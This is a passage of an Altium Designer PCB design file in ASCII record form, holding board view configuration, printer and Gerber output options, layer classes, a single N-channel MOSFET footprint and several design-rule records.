NECTIONSINSINGLELAYERMODE=TRUE`CFG2D.MULTICOLOREDCONNECTIONS=FALSE`CFG2D.SHOWSPECIALSTRINGSHANDLES=FALSE
|RECORD=Board|2DCONFIGFULLFILENAME=C:\Users\Jeremy Blum\AppData\Roaming\Altium\Altium Designer {1EB032F1-E719-4057-9342-D6BAF9C1E861}\ViewConfigurations\Altium Standard 2D.config_2dsimple
|RECORD=Board|3DCONFIGTYPE=.config_3d|3DCONFIGURATION=`RECORD=Board`CFGALL.CONFIGURATIONKIND=3`CFGALL.CONFIGURATIONDESC=Enter%20description%20of%20new%20view%20configuration`CFGALL.COMPONENTBODYREFPOINTCOLOR=16777215`CFGALL.COMPONENTBODYSNAPPOINTCOLOR=16777215`CFGALL.SHOWCOMPONENTSNAPMARKERS=FALSE`CFG3D.POSITIVETOPSOLDERMASK=TRUE`CFG3D.POSITIVEBOTTOMSOLDERMASK=TRUE`CFG3D.SHOWCOMPONENTBODIES=TRUE`CFG3D.SHOWCOMPONENTSTEPMODELS=TRUE`CFG3D.COMPONENTMODELPREFERENCE=0`CFG3D.SHOWCOMPONENTAXES=TRUE`CFG3D.SHOWBOARDCORE=TRUE`CFG3D.SHOWBOARDPREPREG=TRUE`CFG3D.SHOWTOPSILKSCREEN=TRUE`CFG3D.SHOWBOTSILKSCREEN=TRUE`CFG3D.SHOWORIGINMARKER=TRUE`CFG3D.EYEDIST=2000`CFG3D.SHOWCUTOUTS=TRUE`CFG3D.SHOWROUTETOOLPATH=TRUE`CFG3D.SHOWROOMS3D=FALSE`CFG3D.USESYSCOLORSFOR3D=FALSE`CFG3D.WORKSPACECOLOR=16777215`CFG3D.BOARDCORECOLOR=0`CFG3D.BOARDPREPREGCOLOR=0`CFG3D.TOPSOLDERMASKCOLOR=3307556`CFG3D.BOTSOLDERMASKCOLOR=3307556`CFG3D.COPPERCOLOR=2402753`CFG3D.TOPSILKSCREENCOLOR=16448250`CFG3D.BOTSILKSCREENCOLOR=16448250`CFG3D.WORKSPACELUMINANCEVARIATION=30`CFG3D.WORKSPACEBEGINCOLOR=16777215`CFG3D.WORKSPACEENDCOLOR=14671839`CFG3D.WORKSPACECOLOROPACITY=1.000000`CFG3D.BOARDCORECOLOROPACITY=0.500000`CFG3D.BOARDPREPREGCOLOROPACITY=0.500000`CFG3D.TOPSOLDERMASKCOLOROPACITY=0.600000`CFG3D.BOTSOLDERMASKCOLOROPACITY=0.600000`CFG3D.COPPERCOLOROPACITY=1.000000`CFG3D.TOPSILKSCREENCOLOROPACITY=1.000000`CFG3D.BOTSILKSCREENCOLOROPACITY=1.000000`CFG3D.BOARDTHICKNESSSCALING=1.000000`CFG3D.SHOWMECHANICALLAYERS=FALSE`CFG3D.MECHANICALLAYERSOPACITY=1.000000
|RECORD=Board|3DCONFIGFULLFILENAME=(Not Saved)
|RECORD=Board|LOOKAT.X=0.000000|LOOKAT.Y=0.000000|LOOKAT.Z=0.000000|EYEROTATION.X=0.000000|EYEROTATION.Y=0.000000|EYEROTATION.Z=0.000000|ZOOMMULT=0.000001|VIEWSIZE.X=902|VIEWSIZE.Y=830|GR0_TYPE=CartesianGrid|GR0_NAME=Global Board Snap Grid|GR0_COLOR=6049101|GR0_COLORLGE=9473425|GR0_PRIO=50|GR0_OX=0mil|GR0_OY=0mil|GR0_DRAWMODE=1|GR0_DRAWMODELARGE=1|GR0_ENABLED=TRUE|GR0_MULT=1|GR0_MULTLARGE=5|GR0_DISPLAYUNIT=0|GR0_COMP=TRUE|GR0_GSX=98425.196850|GR0_GSY=98425.196850|GR0_QSX=99999mil|GR0_QSY=99999mil|GR0_ROT=0.000000|GR0_FLAGS=15|EGRANGE=8mil|EGMULT=0.000000|EGENABLED=TRUE|EGSNAPTOBOARDOUTLINE=FALSE|EGSNAPTOARCCENTERS=TRUE|EGUSEALLLAYERS=FALSE|OGSNAPENABLED=TRUE|MGSNAPENABLED=FALSE|POINTGUIDEENABLED=FALSE|GRIDSNAPENABLED=TRUE|NEAROBJECTSENABLED=FALSE|FAROBJECTSENABLED=TRUE|NEAROBJECTSET=011110100011000000000000001|FAROBJECTSET=001100000000000000000000000|NEARDISTANCE=200mil|DRILLSYMBOLASENUM=0|DRILLSYMBOLSIZE=200000|HOLESHAPEHASHSIZE=1|HASHKEY#0=[314960][0][0][1][2147483647 2147483647]|HASHVALUE#0=0|VIEWPORTSAREVISIBLE=TRUE|UNIQUEID=NAXMKXNP|PINPAIRCOUNT=0|SHOWSIGNALLAYERSONLY=TRUE|LAYERCOUNT=0|VALUECOUNT=13|FN#0=MEANDERCONTROLPERCENT|FV#0=100|FN#1=DIFFPAIRMAXAMPLITUDE|FV#1=1000000|FN#2=ISPINSWAPENABLED|FV#2=F|FN#3=DIFFPAIRMINSPACE|FV#3=200000|FN#4=ISGLOSSENABLED|FV#4=T|FN#5=SINGLEENDEDCORNERSTYLE|FV#5=0|FN#6=SINGLEENDEDMINSPACE|FV#6=200000|FN#7=DIFFPAIRCORNERSTYLE|FV#7=0|FN#8=SELECTEDPINSWAPS|FV#8=|FN#9=SELECTEDLENGTHRULES|FV#9=|FN#10=INCREASESPACING|FV#10=0|FN#11=ISTUNINGENABLED|FV#11=F|FN#12=SINGLEENDEDMAXAMPLITUDE|FV#12=1000000
+|RECORD=EngineeringChangeOrderOptions|ECOISACTIVE=FALSE|ECOFILENAME=PCB.ECO
+|RECORD=OutputOptions|DRILLGUIDEHOLESIZE=30mil|DRILLDRAWSYMBOLSIZE=50mil|DRILLSYMBOLKIND=0|MULTILAYERONPADMASTER=TRUE|TOPLAYERONPADMASTER=TRUE|BOTTOMLAYERONPADMASTER=TRUE|INCLUDEVIASINSOLDERMASK=TRUE|INCLUDEUNCONNECTEDPADS=TRUE|INCLUDEMECH1WITHALLPLOTS=FALSE|INCLUDEMECH2WITHALLPLOTS=FALSE|INCLUDEMECH3WITHALLPLOTS=FALSE|INCLUDEMECH4WITHALLPLOTS=FALSE|INCLUDEMECH5WITHALLPLOTS=FALSE|INCLUDEMECH6WITHALLPLOTS=FALSE|INCLUDEMECH7WITHALLPLOTS=FALSE|INCLUDEMECH8WITHALLPLOTS=FALSE|INCLUDEMECH9WITHALLPLOTS=FALSE|INCLUDEMECH10WITHALLPLOTS=FALSE|INCLUDEMECH11WITHALLPLOTS=FALSE|INCLUDEMECH12WITHALLPLOTS=FALSE|INCLUDEMECH13WITHALLPLOTS=FALSE|INCLUDEMECH14WITHALLPLOTS=FALSE|INCLUDEMECH15WITHALLPLOTS=FALSE|INCLUDEMECH16WITHALLPLOTS=FALSE
|RECORD=OutputOptions|PLOTLAYERS.SET=SerializeLayerHash.Version~2,ClassName~TLayerToBoolean|FLIPLAYERS.SET=SerializeLayerHash.Version~2,ClassName~TLayerToBoolean|PLOTLAYERS=0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000|FLIPLAYERS=0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+|RECORD=PrinterOptions|DEVICE=|DRIVER=|OUTPUT=|SHOWHOLES=FALSE|SCALETOFITPAGE=FALSE|USEPRINTERFONTS=FALSE|USESOFTWAREARCS=FALSE|BATCHTYPE=0|COMPOSITETYPE=0|CBORDERSIZE=1000mil|SCALE=0.0001mil|XCORRECT=0.0001mil|YCORRECT=0.0001mil
|RECORD=PrinterOptions|PLOTPADNETS=TRUE|PLOTPADNUMBERS=TRUE|PLOTTERSCALE=0.0001mil|PLOTTERXCORRECT=0.0001mil|PLOTTERYCORRECT=0.0001mil|PLOTTERXOFFSET=0mil|PLOTTERYOFFSET=0mil|PLOTTERSHOWHOLES=FALSE|PLOTTERUSESOFTWAREARCS=FALSE|PLOTTERWAITBETWEENSHEETS=FALSE|PLOTTEROUTPUTPORT=0|PLOTTERLANGUAGE=0
|RECORD=PrinterOptions|SPD1=3|THK1=13mil|SPD2=3|THK2=13mil|SPD3=3|THK3=13mil|SPD4=3|THK4=13mil|SPD5=3|THK5=13mil|SPD6=3|THK6=13mil|SPD7=3|THK7=13mil|SPD8=3|THK8=13mil
|RECORD=PrinterOptions|PLOTMODE=0000000000000000000000|DRIVERTYPE=0
|RECORD=PrinterOptions|PLOTLAYERS=1111111111111111111111111111111111111111111111111111111111111111111111111111111111
|RECORD=PrinterOptions|PP1=1|PP2=1|PP3=1|PP4=1|PP5=1|PP6=1|PP7=1|PP8=1|PP9=1|PP10=1|PP11=1|PP12=1|PP13=1|PP14=1|PP15=1|PP16=1|PP17=1|PP18=1|PP19=1|PP20=1|PP21=1|PP22=1|PP23=1|PP24=1|PP25=1|PP26=1|PP27=1|PP28=1|PP29=1|PP30=1|PP31=1|PP32=1|PP33=1|PP34=1|PP35=1|PP36=1|PP37=1|PP38=1|PP39=1|PP40=1|PP41=1|PP42=1|PP43=1|PP44=1|PP45=1|PP46=1|PP47=1|PP48=1|PP49=1|PP50=1|PP51=1|PP52=1|PP53=1|PP54=1|PP55=1|PP56=1|PP57=1|PP58=1|PP59=1|PP60=1|PP61=1|PP62=1|PP63=1|PP64=1|PP65=1|PP66=1|PP67=1|PP68=1|PP69=1|PP70=1|PP71=1|PP72=1|PP73=1|PP74=1|PP75=1|PP76=1|PP77=1|PP78=1|PP79=1|PP80=1|PP81=1|PP82=1
|RECORD=PrinterOptions|PM1=2105376|PM2=197379|PM3=394758|PM4=592137|PM5=789516|PM6=986895|PM7=1184274|PM8=1381653|PM9=1579032|PM10=1776411
|RECORD=PrinterOptions|PM11=1973790|PM12=2171169|PM13=2368548|PM14=2565927|PM15=2763306|PM16=2960685|PM17=3158064|PM18=3355443|PM19=3552822|PM20=3750201
|RECORD=PrinterOptions|PM21=3947580|PM22=4144959|PM23=4342338|PM24=4539717|PM25=4737096|PM26=4934475|PM27=5131854|PM28=5329233|PM29=5526612|PM30=5723991
|RECORD=PrinterOptions|PM31=5921370|PM32=4210752|PM33=12632256|PM34=6513507|PM35=6710886|PM36=6908265|PM37=7105644|PM38=7303023|PM39=7500402|PM40=7697781
|RECORD=PrinterOptions|PM41=7895160|PM42=8092539|PM43=8289918|PM44=8487297|PM45=8684676|PM46=8882055|PM47=9079434|PM48=9276813|PM49=9474192|PM50=9671571
|RECORD=PrinterOptions|PM51=9868950|PM52=10066329|PM53=10263708|PM54=10461087|PM55=10658466|PM56=10855845|PM57=11053224|PM58=11250603|PM59=11447982|PM60=11645361
|RECORD=PrinterOptions|PM61=11842740|PM62=12040119|PM63=12237498|PM64=12434877|PM65=12632256|PM66=12829635|PM67=13027014|PM68=13224393|PM69=13421772|PM70=13619151
|RECORD=PrinterOptions|PM71=13816530|PM72=14013909|PM73=14211288|PM74=0|PM75=14606046|PM76=16777215|PM77=15000804|PM78=15198183|PM79=15395562|PM80=15592941
|RECORD=PrinterOptions|PM81=15790320|PM82=15987699
|RECORD=PrinterOptions|PC1=255|PC2=36540|PC3=16440176|PC4=6736896|PC5=16737945|PC6=16776960|PC7=8388736|PC8=16711935|PC9=32896|PC10=65535
|RECORD=PrinterOptions|PC11=8421504|PC12=16777215|PC13=8388736|PC14=8421376|PC15=12632256|PC16=128|PC17=32768|PC18=65280|PC19=8388608|PC20=16776960
|RECORD=PrinterOptions|PC21=8388736|PC22=16711935|PC23=32896|PC24=65535|PC25=8421504|PC26=16777215|PC27=8388736|PC28=8421376|PC29=12632256|PC30=128
|RECORD=PrinterOptions|PC31=32768|PC32=16711680|PC33=65535|PC34=32896|PC35=8421504|PC36=128|PC37=8388736|PC38=16711935|PC39=32768|PC40=128
|RECORD=PrinterOptions|PC41=8388736|PC42=8421376|PC43=32768|PC44=128|PC45=8388736|PC46=8421376|PC47=32768|PC48=128|PC49=8388736|PC50=8421376
|RECORD=PrinterOptions|PC51=32768|PC52=128|PC53=8388736|PC54=8421376|PC55=128|PC56=16711935|PC57=16711935|PC58=8388736|PC59=32768|PC60=32896
|RECORD=PrinterOptions|PC61=16711935|PC62=8388736|PC63=32768|PC64=32896|PC65=16711935|PC66=8388736|PC67=32768|PC68=32896|PC69=16711935|PC70=8388736
|RECORD=PrinterOptions|PC71=32768|PC72=0|PC73=2752767|PC74=12632256|PC75=7709086|PC76=0|PC77=65280|PC78=16777215|PC79=6049101|PC80=9473425
|RECORD=PrinterOptions|PC81=9474304|PC82=25217
+|RECORD=GerberOptions|SORTOUTPUT=FALSE|USESOFTWAREARCS=TRUE|CENTERPHOTOPLOTS=TRUE|EMBEDAPERTURES=FALSE|PANELIZE=FALSE|G54=FALSE|PLUSTOL=0.005mil|MINUSTOL=0.005mil|FILMSIZEX=20000mil|FILMSIZEY=16000mil|BORDERSIZE=1000mil|APTTABLE=|MAXAPERSIZE=250mil|RELIEFSHAPESALLOWED=TRUE|PADSFLASHONLY=TRUE|GERBERUNITS=3|GERBERDECS=1|FLASHALLFILLS=FALSE
+|RECORD=AdvancedPlacerOptions|PLACELARGECLEAR=50mil|PLACESMALLCLEAR=20mil|PLACEUSEROTATION=TRUE|PLACEUSELAYERSWAP=FALSE|PLACEBYPASSNET1=|PLACEBYPASSNET2=|PLACEUSEADVANCEDPLACE=TRUE|PLACEUSEGROUPING=TRUE
+|RECORD=DesignRuleCheckerOptions|DOMAKEDRCFILE=TRUE|DOMAKEDRCERRORLIST=TRUE|DOSUBNETDETAILS=TRUE|REPORTFILENAME=|EXTERNALNETLISTFILENAME=|CHECKEXTERNALNETLIST=FALSE|MAXVIOLATIONCOUNT=500|REPORTDRILLEDSMTPADS=TRUE|REPORTINVALIDMULTILAYERPADS=TRUE|RULESETTOCHECK=0,1,2,3,4,5,15,16,18,19,21,22,23,26,42,45,46,47,50,52,53,54,55,56,60,62,63,64|ONLINERULESETTOCHECK=0,1,2,3,4,5,9,11,15,17,18,22,23,24,45,46,47,50,51,55,60,62|INTERNALPLANEWARNINGS=TRUE|VERIFYSHORTINGCOPPER=TRUE|REPORTBROKENPLANES=TRUE|REPORTDEADCOPPER=TRUE|DEADCOPPERMINAREA=10000000000.000000|REPORTSTARVEDTHERMALS=TRUE|MINSTARVEDCOPPERPERCENT=50|REPORTSTRADLINGHOLES=FALSE|REPORTHOLESINVOIDS=FALSE
+|RECORD=PinSwapOptions|QUIET=FALSE|APPROXIMATEPINPOSITIONS=FALSE|ALLOWPARTIALLYROUTEDCONNECTIONS=TRUE|VIAPENALTYSTATE=TRUE|CROSSOVERRATIO=50|VIAPENALTYVALUE=0|IGNORENETS=|IGNORENETCLASSES=|IGNORECOMPONENTS=|IGNOREDIFFERENTIALPAIRS=|HEURISTICNAME=|HEURISTICONOFFSTATE=|HEURISTICWEIGHTVALUE=
+|RECORD=TestpointOptions|TESTPOINTSEARCHORDERSMDPADSBTM=0|TESTPOINTSEARCHORDERSMDPADSTOP=1|TESTPOINTSEARCHORDERVIASBTM=2|TESTPOINTSEARCHORDERVIASTOP=3|TESTPOINTSEARCHORDERTHRUPADSBTM=4|TESTPOINTSEARCHORDERTHRUPADSTOP=5
+|RECORD=Class|INDEXFORSAVE=0|SELECTION=FALSE|LAYER=MULTILAYER|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|NAME=Sample Schematic Sheet|KIND=1|SUPERCLASS=FALSE|SELECTED=FALSE|SCHAUTOGENERATEDCLUSTER=FALSE|UNIQUEID=EKSDBKYV
+|RECORD=Class|INDEXFORSAVE=1|SELECTION=FALSE|LAYER=MULTILAYER|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|NAME=Component Layers|KIND=4|SUPERCLASS=TRUE|SELECTED=FALSE|SCHAUTOGENERATEDCLUSTER=FALSE|UNIQUEID=CRCMRELH
+|RECORD=Class|INDEXFORSAVE=2|SELECTION=FALSE|LAYER=MULTILAYER|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|NAME=Signal Layers|KIND=4|SUPERCLASS=TRUE|SELECTED=FALSE|SCHAUTOGENERATEDCLUSTER=FALSE|UNIQUEID=COKJIJVY
+|RECORD=Class|INDEXFORSAVE=3|SELECTION=FALSE|LAYER=MULTILAYER|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|NAME=Electrical Layers|KIND=4|SUPERCLASS=TRUE|SELECTED=FALSE|SCHAUTOGENERATEDCLUSTER=FALSE|UNIQUEID=FXNWACPC
+|RECORD=Class|INDEXFORSAVE=4|SELECTION=FALSE|LAYER=MULTILAYER|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|NAME=All Layers|KIND=4|SUPERCLASS=TRUE|SELECTED=FALSE|SCHAUTOGENERATEDCLUSTER=FALSE|UNIQUEID=XLKPEYNS
+|RECORD=Class|INDEXFORSAVE=5|SELECTION=FALSE|LAYER=MULTILAYER|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|NAME=Outside Board Components|KIND=1|SUPERCLASS=FALSE|AUTOGENERATEDCLASS=TRUE|SELECTED=FALSE|SCHAUTOGENERATEDCLUSTER=FALSE|UNIQUEID=PRUNPEPU|AUTOGENERATEDCLASSKIND=3
+|RECORD=Class|INDEXFORSAVE=6|SELECTION=FALSE|LAYER=MULTILAYER|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|NAME=Inside Board Components|KIND=1|SUPERCLASS=FALSE|AUTOGENERATEDCLASS=TRUE|M0=Q1|SELECTED=FALSE|SCHAUTOGENERATEDCLUSTER=FALSE|UNIQUEID=FDSKNMHP|AUTOGENERATEDCLASSKIND=2
+|RECORD=Class|INDEXFORSAVE=7|SELECTION=FALSE|LAYER=MULTILAYER|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|NAME=Bottom Side Components|KIND=1|SUPERCLASS=FALSE|AUTOGENERATEDCLASS=TRUE|SELECTED=FALSE|SCHAUTOGENERATEDCLUSTER=FALSE|UNIQUEID=QQPTCXTG|AUTOGENERATEDCLASSKIND=1
+|RECORD=Class|INDEXFORSAVE=8|SELECTION=FALSE|LAYER=MULTILAYER|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|NAME=Top Side Components|KIND=1|SUPERCLASS=FALSE|AUTOGENERATEDCLASS=TRUE|M0=Q1|SELECTED=FALSE|SCHAUTOGENERATEDCLUSTER=FALSE|UNIQUEID=VVVWKBMT|AUTOGENERATEDCLASSKIND=0
+|RECORD=Class|INDEXFORSAVE=9|SELECTION=FALSE|LAYER=MULTILAYER|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|NAME=All Components|KIND=1|SUPERCLASS=TRUE|SELECTED=FALSE|SCHAUTOGENERATEDCLUSTER=FALSE|UNIQUEID=TJKHJMJH
+|RECORD=Class|INDEXFORSAVE=10|SELECTION=FALSE|LAYER=MULTILAYER|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|NAME=All Pads|KIND=3|SUPERCLASS=TRUE|SELECTED=FALSE|SCHAUTOGENERATEDCLUSTER=FALSE|UNIQUEID=WTYKRXPU
+|RECORD=Class|INDEXFORSAVE=11|SELECTION=FALSE|LAYER=MULTILAYER|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|NAME=All Nets|KIND=0|SUPERCLASS=TRUE|SELECTED=FALSE|SCHAUTOGENERATEDCLUSTER=FALSE|UNIQUEID=HHKGBWSV
+|RECORD=Class|INDEXFORSAVE=12|SELECTION=FALSE|LAYER=MULTILAYER|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|NAME=All From-Tos|KIND=2|SUPERCLASS=TRUE|SELECTED=FALSE|SCHAUTOGENERATEDCLUSTER=FALSE|UNIQUEID=QXPVYICP
+|RECORD=Component|ID=0|INDEXFORSAVE=0|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|PRIMITIVELOCK=TRUE|X=157.4803mil|Y=157.4803mil|PATTERN=E3|NAMEON=TRUE|COMMENTON=FALSE|GROUPNUM=0|COUNT=0|ROTATION= 0.00000000000000E+0000|NAMEAUTOPOSITION=1|COMMENTAUTOPOSITION=3|UNIONINDEX=0|CHANNELOFFSET=0|SOURCEDESIGNATOR=Q1|SOURCEUNIQUEID=\PFBWQACS|SOURCEHIERARCHICALPATH=Sample Schematic Sheet|SOURCEFOOTPRINTLIBRARY=Sample Integrated Library.IntLib|SOURCECOMPONENTLIBRARY=Sample Integrated Library.IntLib|SOURCELIBREFERENCE=MOSFET-N|SOURCEDESCRIPTION=N-Channel MOSFET|SOURCECOMPLIBIDENTIFIERKIND=2|SOURCECOMPLIBRARYIDENTIFIER=Sample Integrated Library.IntLib|UNIQUEID=WTBWAHIL|JUMPERSVISIBLE=TRUE
+|RECORD=ParamItem|PRIMITIVEINDEX=Component#0|NAME=LatestRevisionDate|VALUE=17-Jul-2002|ISIMPORTED=TRUE
+|RECORD=ParamItem|PRIMITIVEINDEX=Component#0|NAME=LatestRevisionNote|VALUE=Re-released for DXP Platform.|ISIMPORTED=TRUE
+|RECORD=ParamItem|PRIMITIVEINDEX=Component#0|NAME=PackageDescription|VALUE=TO, Flat Index; 3 In-Line, Axial Leads; Body Dia. 4.6mm; Lead Dia. 0.5 mm (max)|ISIMPORTED=TRUE
+|RECORD=ParamItem|PRIMITIVEINDEX=Component#0|NAME=PackageReference|VALUE=E3|ISIMPORTED=TRUE
+|RECORD=ParamItem|PRIMITIVEINDEX=Component#0|NAME=PackageVersion|VALUE=1995/1996|ISIMPORTED=TRUE
+|RECORD=ParamItem|PRIMITIVEINDEX=Component#0|NAME=Published|VALUE=8-Jun-2000|ISIMPORTED=TRUE
+|RECORD=ParamItem|PRIMITIVEINDEX=Component#0|NAME=Publisher|VALUE=Altium Limited|ISIMPORTED=TRUE
+|RECORD=DXPRule|INDEXFORSAVE=0|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|RULEKIND=UnpouredPolygon|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1EXPRESSION=All|SCOPE2EXPRESSION=All|NAME=UnpouredPolygon|ENABLED=TRUE|PRIORITY=1|COMMENT=|UNIQUEID=QFKDVCPG|DEFINEDBYLOGICALDOCUMENT=FALSE
+|RECORD=Rule|INDEXFORSAVE=0|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|RULEKIND=UnpouredPolygon|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1COUNT=1|SCOPE1_0_KIND=Board|SCOPE1_0_VALUE=Board|SCOPE2COUNT=1|SCOPE2_0_KIND=Board|SCOPE2_0_VALUE=Board|NAME=UnpouredPolygon|ENABLED=TRUE|COMMENTLENGTH=0|COMMENT=
+|RECORD=DXPRule|INDEXFORSAVE=1|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|RULEKIND=NetAntennae|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1EXPRESSION=All|SCOPE2EXPRESSION=All|NAME=NetAntennae|ENABLED=TRUE|PRIORITY=1|COMMENT=|UNIQUEID=KMUHVMEL|DEFINEDBYLOGICALDOCUMENT=FALSE|NETANTENNAETOLERANCE=0mil
+|RECORD=Rule|INDEXFORSAVE=1|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|RULEKIND=NetAntennae|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1COUNT=1|SCOPE1_0_KIND=Board|SCOPE1_0_VALUE=Board|SCOPE2COUNT=1|SCOPE2_0_KIND=Board|SCOPE2_0_VALUE=Board|NAME=NetAntennae|ENABLED=TRUE|COMMENTLENGTH=0|COMMENT=
+|RECORD=DXPRule|INDEXFORSAVE=2|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|RULEKIND=SilkToBoardRegionClearance|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1EXPRESSION=All|SCOPE2EXPRESSION=All|NAME=SilkToBoardRegionClearance|ENABLED=TRUE|PRIORITY=1|COMMENT=|UNIQUEID=WXITUWUQ|DEFINEDBYLOGICALDOCUMENT=FALSE
+|RECORD=Rule|INDEXFORSAVE=2|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|RULEKIND=SilkToBoardRegionClearance|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1COUNT=1|SCOPE1_0_KIND=Board|SCOPE1_0_VALUE=Board|SCOPE2COUNT=1|SCOPE2_0_KIND=Board|SCOPE2_0_VALUE=Board|NAME=SilkToBoardRegionClearance|ENABLED=TRUE|COMMENTLENGTH=0|COMMENT=
+|RECORD=DXPRule|INDEXFORSAVE=3|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|RULEKIND=SilkToSilkClearance|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1EXPRESSION=All|SCOPE2EXPRESSION=All|NAME=SilkToSilkClearance|ENABLED=TRUE|PRIORITY=1|COMMENT=|UNIQUEID=NSHRSGNV|DEFINEDBYLOGICALDOCUMENT=FALSE|SILKTOSILKCLEARANCE=10mil
+|RECORD=Rule|INDEXFORSAVE=3|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|RULEKIND=SilkToSilkClearance|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1COUNT=1|SCOPE1_0_KIND=Board|SCOPE1_0_VALUE=Board|SCOPE2COUNT=1|SCOPE2_0_KIND=Board|SCOPE2_0_VALUE=Board|NAME=SilkToSilkClearance|ENABLED=TRUE|COMMENTLENGTH=0|COMMENT=
+|RECORD=DXPRule|INDEXFORSAVE=4|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|RULEKIND=SilkToSolderMaskClearance|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1EXPRESSION=IsPad|SCOPE2EXPRESSION=All|NAME=SilkToSolderMaskClearance|ENABLED=TRUE|PRIORITY=1|COMMENT=|UNIQUEID=VNFMPLKI|DEFINEDBYLOGICALDOCUMENT=FALSE|MINSILKSCREENTOMASKGAP=10mil|CLEARANCETOEXPOSEDCOPPER=TRUE
+|RECORD=Rule|INDEXFORSAVE=4|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|RULEKIND=SilkToSolderMaskClearance|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1COUNT=1|SCOPE1_0_KIND=Board|SCOPE1_0_VALUE=Board|SCOPE2COUNT=1|SCOPE2_0_KIND=Board|SCOPE2_0_VALUE=Board|NAME=SilkToSolderMaskClearance|ENABLED=FALSE|COMMENTLENGTH=44|COMMENT=Protel DXP Scope 1 Expression Was: IsPad   
+|RECORD=DXPRule|INDEXFORSAVE=5|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|RULEKIND=MinimumSolderMaskSliver|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1EXPRESSION=All|SCOPE2EXPRESSION=All|NAME=MinimumSolderMaskSliver|ENABLED=TRUE|PRIORITY=1|COMMENT=|UNIQUEID=IVVIETYE|DEFINEDBYLOGICALDOCUMENT=FALSE|MINSOLDERMASKWIDTH=10mil
+|RECORD=Rule|INDEXFORSAVE=5|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|RULEKIND=MinimumSolderMaskSliver|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1COUNT=1|SCOPE1_0_KIND=Board|SCOPE1_0_VALUE=Board|SCOPE2COUNT=1|SCOPE2_0_KIND=Board|SCOPE2_0_VALUE=Board|NAME=MinimumSolderMaskSliver|ENABLED=TRUE|COMMENTLENGTH=0|COMMENT=
+|RECORD=DXPRule|INDEXFORSAVE=6|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|UNIONINDEX=0|RULEKIND=HoleToHoleClearance|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1EXPRESSION=All|SCOPE2EXPRESSION=All|NAME=HoleToHoleClearance|ENABLED=TRUE|PRIORITY=1|COMMENT=|UNIQUEID=KCBNJFRC|DEFINEDBYLOGICALDOCUMENT=FALSE|GAP=10mil|ALLOWSTACKEDMICROVIAS=TRUE
+|RECORD=Rule|INDEXFORSAVE=6|SELECTION=FALSE|LAYER=TOP|LOCKED=FALSE|POLYGONOUTLINE=FALSE|USERROUTED=TRUE|RULEKIND=HoleToHoleClearance|NETSCOPE=AnyNet|LAYERKIND=SameLayer|SCOPE1COUNT=1|SCOPE1_0_KIND=Board|SCOPE1_0_VALUE=Board|SCOPE2COUNT=1|SCOPE2_0_KIND=Board|SCOPE2_0_VALUE=Board|NAME=HoleToHoleClearance|ENABLED=TRUE|COMMENTLENGTH=0|COMMENT=
